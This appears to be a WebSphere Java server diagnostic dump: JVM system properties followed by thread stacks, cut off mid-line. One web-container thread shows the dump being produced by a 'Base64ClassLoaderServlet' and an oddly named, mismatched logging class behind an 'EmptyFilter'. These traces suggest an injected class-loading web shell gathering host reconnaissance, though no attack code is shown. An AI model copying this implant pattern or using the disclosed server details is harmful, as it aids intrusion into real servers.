/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties:/opt/IBM/WebSphere/AppServer/properties:/opt/IBM/WebSphere/AppServer/lib/startup.jar:/opt/IBM/WebSphere/AppServer/lib/bootstrap.jar:/opt/IBM/WebSphere/AppServer/lib/lmproxy.jar:/opt/IBM/WebSphere/AppServer/lib/urlprotocols.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batchboot.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batch2.jar:/opt/IBM/WebSphere/AppServer/java/8.0/lib/tools.jar +javax.rmi.CORBA.UtilClass: com.ibm.ws.orb.WSUtilDelegateImpl +os.arch: amd64 +ws.ext.dirs: /opt/IBM/WebSphere/AppServer/java/8.0/lib:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/classes:/opt/IBM/WebSphere/AppServer/classes:/opt/IBM/WebSphere/AppServer/lib:/opt/IBM/WebSphere/AppServer/installedChannels:/opt/IBM/WebSphere/AppServer/lib/ext:/opt/IBM/WebSphere/AppServer/web/help:/opt/IBM/WebSphere/AppServer/deploytool/itp/plugins/com.ibm.etools.ejbdeploy/runtime +sun.java.launcher: SUN_STANDARD +java.specification.maintenance.version: 5 +org.osgi.framework.vendor: Eclipse +was.debug.mode: true +osgi.tracefile: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/1742229229/.metadata/trace.log +java.vm.specification.vendor: Oracle Corporation +com.ibm.system.agent.path: /opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64 +was.install.root: /opt/IBM/WebSphere/AppServer +file.separator: / +java.runtime.version: 8.0.8.11 - pxa6480sr8fp11-20230901_01(SR8 FP11) +ibm.signalhandling.sigint: true +sun.boot.class.path: /opt/IBM/WebSphere/AppServer/endorsed_apis/jaxws-api.jar:/opt/IBM/WebSphere/AppServer/endorsed_apis/jaxb-api.jar:/opt/IBM/WebSphere/AppServer/endorsed_apis/javax.j2ee.annotation.jar:/opt/IBM/WebSphere/AppServer/lib/dertrjrt.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64/compressedrefs/jclSC180/vm.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/se-service.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/math.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmorbapi.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmcfw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmpkcs.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmcertpathfw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmjgssfw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmjssefw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmsaslfw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmjcefw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmjgssprovider.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmjsseprovider2.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ibmcertpathprovider.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/xmldsigfw.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/xml.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/charsets.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/resources.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/rt.jar:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/dataaccess.jar +java.security.policy: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/server.policy +ibm.signalhandling.rs: false +osgi.frameworkClassPath: ., file:/opt/IBM/WebSphere/AppServer/plugins/com.ibm.cds_2.1.0.jar, file:/opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.eclipse.adaptors_7.0.0.jar +user.country: US +osgi.configuration.cascaded: false +osgi.logfile: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/1742229229/.metadata/.log +osgi.embedded.cleanupOnSave: true +com.ibm.zero.version: 2 +com.ibm.oti.vm.bootstrap.library.path: /opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64 +com.ibm.IPC.requestTimeout: 600 +ibm.signalhandling.sigchain: true +java.vendor: IBM Corporation +javax.management.builder.initial: com.ibm.ws.management.PlatformMBeanServerBuilder +derby.system.home: /opt/IBM/WebSphere/AppServer/derby +java.naming.factory.url.pkgs: com.ibm.ws.naming:com.ibm.osgi.jndi.fep:com.ibm.ws.runtime +org.jboss.weld.xml.disableValidating: true +java.specification.version: 1.8 +com.ibm.debug.service.register.class: com.ibm.debug.DebugAttachAgent +java.security.properties: /opt/IBM/WebSphere/AppServer/properties/java.security +sun.arch.data.model: 64 + +=========================================== + +ThreadStacks: +"JIT Compilation Thread-001 Suspended" #3 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-0" #52 daemon [TIMED_WAITING] on java.util.TaskQueue@f81a6916 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at java.util.TimerThread.mainLoop(Timer.java:563) + at java.util.TimerThread.run(Timer.java:516) + +"LocalNotificationServiceDispatcher : 1" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@349fdc1b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"JIT Compilation Thread-003 Suspended" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-006 Suspended" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Framework Active Thread" #31 [TIMED_WAITING] on org.eclipse.osgi.framework.internal.core.Framework@e2e049f1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at org.eclipse.osgi.framework.internal.core.Framework.run(Framework.java:1862) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"LocalNotificationServiceDispatcher : 0" #91 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29e210eb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"IProfiler" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WsSessionInvalidatorThread 104" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 95" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Shared TCPChannel NonBlocking Accept Thread" #73 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcp.channel.impl.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:825) + +"NotificationServiceDispatcher : 0" #50 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68574203 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"NotificationServiceDispatcher : 3" #89 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68574203 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"WsSessionInvalidatorThread 116" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"JIT-SamplerThread" #10 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + +"Thread-23" #67 daemon [WAITING] on java.util.LinkedList@fc935f1e + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.hamanager.impl.UserCallbacks$WorkDispatcher.run(UserCallbacks.java:218) + at java.lang.Thread.run(Thread.java:825) + +"LocalNotificationServiceDispatcher : 2" #93 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29e210eb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"Attach API wait loop" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method) + at openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:264) + at openj9.internal.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66) + at openj9.internal.tools.attach.target.WaitLoop.run(WaitLoop.java:157) + +"Finalizer thread" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WMQJCAResourceAdapter : DMN1" #77 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@b4dca8b9 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:127) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 99" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Non-Deferred Alarm Manager" #48 daemon [TIMED_WAITING] on java.util.concurrent.ConcurrentSkipListMap@50523b31 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ejs.util.am.AlarmManagerThreadCSLM.run(AlarmManagerThreadCSLM.java:154) + at java.lang.Thread.run(Thread.java:825) + +"Timer-5" #61 daemon [WAITING] on java.util.TaskQueue@b24db448 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"HungThreadDetectorForNon-deferrable Alarm" #46 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ejs.util.am.AlarmThreadMonitor$AlarmThreadCheckDetector.run(AlarmThreadMonitor.java:424) + at java.lang.Thread.run(Thread.java:825) + +"server.startup : 0" #85 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0ed1f6d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"UsageMetering-thread-2" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ec3dbf8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Deferred Alarm Manager" #47 daemon [TIMED_WAITING] on java.util.concurrent.ConcurrentSkipListMap@555f84fc + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ejs.util.am.AlarmManagerThreadCSLM.run(AlarmManagerThreadCSLM.java:154) + at java.lang.Thread.run(Thread.java:825) + +"WebContainer : 1" #119 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.getStackTrace(Thread.java:1178) + at java.lang.Thread.getAllStackTraces(Thread.java:1209) + at org.apache.logging.suapW.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:3467) + at java.io.PrintWriter.print(PrintWriter.java:627) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1235) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:779) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:478) + at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:143) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:96) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:197) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:979) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1119) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:82) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:966) + at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1817) + at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:382) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:465) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:532) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:318) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:289) + at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214) + at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113) + at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:175) + at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217) + at com.ibm.io.async.AsyncChannelFuture$1.run(AsyncChannelFuture.java:205) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1909) + +"GC Worker" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WLMMonitorSleeper : 0" #58 daemon [WAITING] on java.util.TreeSet@56c9033b + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.wlm.threadmanager.SleeperThreadPool.run(SleeperThreadPool.java:264) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1909) + +"GC Worker" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-3" #59 daemon [WAITING] on java.util.TaskQueue@ec162c00 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Thread-10" #49 daemon [WAITING] on java.util.LinkedList@2e784011 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.runtime.selectableBundles.AsyncFileOperations$WorkDispatcher.run(AsyncFileOperations.java:206) + at java.lang.Thread.run(Thread.java:825) + +"UsageMetering-thread-1" #80 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ec3dbf8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 96" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 102" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 98" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"JIT Compilation Thread-004 Suspended" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Non-deferrable Alarm : 0" #75 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bab5064 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"Start Level Event Dispatcher" #32 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@5007c670 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336) + +"JIT Diagnostic Compilation Thread-007 Suspended" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-6" #62 daemon [WAITING] on java.util.TaskQueue@5d3b8c7e + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"P=255859:O=0:CT" #1 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at 